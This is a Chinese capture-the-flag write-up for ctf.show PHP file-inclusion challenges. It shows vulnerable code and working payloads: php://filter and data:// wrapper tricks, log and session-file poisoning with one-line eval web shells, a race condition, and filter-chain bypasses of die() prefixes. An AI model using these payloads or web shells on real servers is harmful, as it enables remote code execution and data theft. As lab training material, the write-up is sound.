web78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
这里有个include
文件包含。利用Filter机制,构造php://filter/convert.base64-encode/resource=×××
的攻击数据读取文件,拿到各种文件的源码
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
data协议进行base64转码
因为过滤了“php”,php伪协议不能用了。但data协议中可以选择base64转码,从而绕过“php”
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web80-81——包含日志文件getshell
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
UA头命令执行,日志文件包含getshell
日志文件的路径:/var/log/nginx/access.log
UA头构造代码:<?php @eval($_POST['pass']); ?>
写一句话木马,用蚁剑连接(此题看别人用<?php system("ls");?>
但一直不成功)
web82——session文件竞争包含
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了.
不能利用日志文件access.log
了
这里选择路径不带.
的——会话文件

- session文件的命名格式是:
sess_[PHPSESSID的值]
- session文件默认路径
linux:/tmp 或 /var/lib/php/session
Windows:C:\WINDOWS\Temp
session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
比如,我们在Cookie里设置PHPSESSID=flag
,PHP将会在服务器上创建一个文件:/tmp/sess_flag
- 在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息(利用条件竞争应付这种情况)
以POST的形式发包,上传文件随意,没有要求
<!DOCTYPE html>
<html>
<body>
<form action="http://f0ea2244-d2b8-43be-8ec6-f61da1585183.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
抓包
这里我们添加一个 Cookie: PHPSESSID=flag
,PHP将会在服务器上创建一个会话文件:/tmp/sess_flag
(这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS
下添加一句话木马
在题目页面进行?file=/tmp/sess_flag
传参并抓包
上面添加的§123§
和a=§1§
目的是不断发数据包产生会话文件与不断访问这个会话文件。
两边同时爆破:
利用条件竞争,总会有在session.upload_progress.cleanup
清除会话文件之前,成功访问到会话文件的情况
知道目录文件名后,修改一句话木马为cat fl0g.php
web83-8
session_unset():释放当前在内存中已经创建的所有$_SESSION变量,但是不删除session文件以及不释放对应的session id;
session_destroy():删除当前用户对应的session文件以及释放session id,内存中$_SESSION变量内容依然保留;
下面是一个对比:
file_get_contents() 函数把整个文件读入一个字符串中
strpos() 查找 "php" 在字符串中第一次出现的位置 strpos() 函数对大小写敏感
虽然有各种限制条件,但仍然可以继续竞争包含…
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
详情看:P神的文章:谈一谈php://filter的妙用
file_put_content和死亡·杂糅代码之缘
使用php://filter
流的base64-decode方法,将$content
解码,利用php base64_decode函数
特性去除die()
。
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
在解码的过程中,字符<、?、;、>、空格
等一共有15个字符不符合base64编码的字符范围将被忽略
若对<?php die('大佬别秀了');?>
进行解码,实际是对phpdie
这6个字符解码。这样一看,是不是就绕过了die()
了!
因为base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符
对 ?file=php://filter/write=convert.base64-decode/resource=3.php
因为要用到bp且有特殊字符,要它进行URL双编码(函数解码有一次,特殊字符有一次)
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
对content写入一句话木马并进行base64编码
(这里不能用<?php?>的形式,反复不成功,不懂…)
PD89IHN5c3RlbSgibmwgKi5waHAiKTs= 即:<?= system("nl *.php");
然后再: <?= system("cat fl0g.php");
一个3.php文件创建好,进行访问
web88——data协议
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
没有过滤 :
/
data
使用data伪协议,进行base64转码,注意把补全的=号去掉
<?=system("ls");
转码后:PD89c3lzdGVtKCJscyIpOw==
去掉等号:PD89c3lzdGVtKCJscyIpOw
?file=data://text/plain;base64,PD89c3lzdGVtKCJscyIpOw
web116——文件分离
保存视频下来,发现PNG文件标识“8950 4e47 0d0a 1a0a”
使用 foremost工具分离出图片
前面的过滤没有作用
直接包含文件 flag.php
用bp抓包才能看到flag
payload:
?file=flag.php
或 ?file=compress.zlib:///var/www/html/flag.php
web117——死亡绕过 + convert.iconv
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
详情看:file_put_content和死亡·杂糅代码之缘
死亡绕过,但这里没法使用base64、rot13
没有过滤convert
考虑使用iconv.UCS-2LE.UCS-2BE
这种编码是将每两位字符进行位置交换
<?php
echo iconv("UCS-2LE","UCS-2BE","?<hp pvela$(P_SO[T]1;)>?");
?>
输出:<?php eval($_POST[1]);?>
payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS.2BE/resource=1.php
content=?<hp pvela$(P_SO[T]1;)>? #即 <?php eval($_POST[1]);?>
可见:<?php die();?>
变成了?<hp pid(e;)>?
接下来就是一句话木马了
?1=system("cat f*");